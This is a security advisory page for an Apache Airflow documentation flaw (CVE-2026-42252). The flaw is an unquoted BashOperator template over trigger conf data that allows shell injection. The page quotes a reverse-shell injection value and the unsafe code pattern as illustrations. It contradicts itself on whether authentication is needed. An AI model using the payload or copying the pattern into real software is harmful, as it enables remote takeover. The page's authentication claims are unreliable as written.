CVE-2026-42252Apache Airflow
Critical 9.1 No auth needed
Follow: this CVE · Apache · Apache Airflow We alert you by email or Slack (account required).
- Priority
- 70
- CVSS 3.1
- 9.1
- EPSS
- —
- Auth required
- No
- Published
- Jun 1, 2026
- Updated
- Nov 3, 2026
- Category
- Server · Cross-platform
- Weakness (CWE)
- CWE-1336
- SSVC (CISA)
- Exploitation: none · Automatable: yes · Technical impact: total
- Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
What happens
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
What to do
- Apply the vendor's security update for Airflow.
- It can be exploited without authentication: if you cannot patch now, restrict Internet access to the affected service.
Affected packages
| Ecosystem | Package | Affected versions | Fixed in | How to upgrade |
|---|---|---|---|---|
| PyPI | apache-airflow |
≥ 3.0.0 < 3.2.2 |
3.2.2 |
pip install "apache-airflow>=3.2.2" |
| PyPI | apache-airflow |
≥ 3.0.0 < 3.2.2 |
3.2.2 |
pip install "apache-airflow>=3.2.2" |
Per OSV / GitHub Advisories (GHSA-c85c-g9wv-pph2, PYSEC-2026-184). Check the version in your lockfile before upgrading.
Affected products (CPE)
| Vendor | Product | Versions |
|---|---|---|
| apache | airflow | ≥ 3.0.0 < 3.2.2 |
Official sources
References
Links published by the sources. Open them with care.
- github.com Issue Tracking Patch
- lists.apache.org Mailing List Vendor Advisory